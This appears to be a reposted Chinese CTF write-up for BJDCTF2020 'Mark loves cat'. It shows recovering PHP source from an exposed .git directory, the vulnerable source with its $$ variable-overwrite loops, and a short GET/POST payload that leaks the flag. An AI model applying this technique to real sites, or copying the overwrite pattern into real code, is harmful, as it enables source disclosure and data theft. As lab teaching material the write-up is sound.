zoukankan      html  css  js  c++  java
  • [BJDCTF2020]Mark loves cat

    0x00 知识点

    GitHack读取源码

    $$会导致变量覆盖漏洞

    0x01解题

    dirsearch扫描一下,发现/.git目录,用githack获取一下源码。

    <?php
    include 'flag.php';
    $yds = "dog";
    $is = "cat";
    $handsome = 'yds';
    
    foreach($_POST as $x => $y){
        $$x = $y;
    }
    
    foreach($_GET as $x => $y){
        $$x = $$y;
    }
    
    foreach($_GET as $x => $y){
        if($_GET['flag'] === $x && $x !== 'flag'){	//GET方式传flag只能传一个flag=flag
            exit($handsome);
        }
    }
    
    if(!isset($_GET['flag']) && !isset($_POST['flag'])){	//GET和POST其中之一必须传flag
        exit($yds);
    }
    
    if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){	//GET和POST传flag,必须不能是flag=flag
        exit($is);
    }
    
    echo "the flag is: ".$flag;
    

    分析一下代码逻辑

    forsearch:
    post传参和get传参的参数键名和值

    首先我们post:$flag=flag

    foreach($_POST as $x => $y){
        $$x = $y;
    }
    

    简单好理解一点,我们直接带入第一行后再比较第二行
    这样就变成了$$flag = flag

    接下来GET:?yds=flag

    foreach($_GET as $x => $y){
        $$x = $$y;
    }
    

    $x为yds,$y为flag,所以$$x表示$yds,$$y也就是$flag,$flag就是真正的flag{XXXXXX}。$$x = $$y,也就是$yds=flag{XXXXXX}。
    看源码

    只要没有flag参数,就会exit($yds),就可以得到flag了。

    payload:

    GET:yds=flag
    POST:$flag=flag
    

  • 相关阅读:
    c++运算符重载
    c++ const_cast
    SHL
    C++拷贝构造函数(深拷贝,浅拷贝)
    ps命令详解
    static 修饰符
    “宝洁八大问”整理篇
    linux grep命令
    C++操作符重载
    linux中删除指定日期之前的文件
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/12309468.html
Copyright © 2011-2022 走看看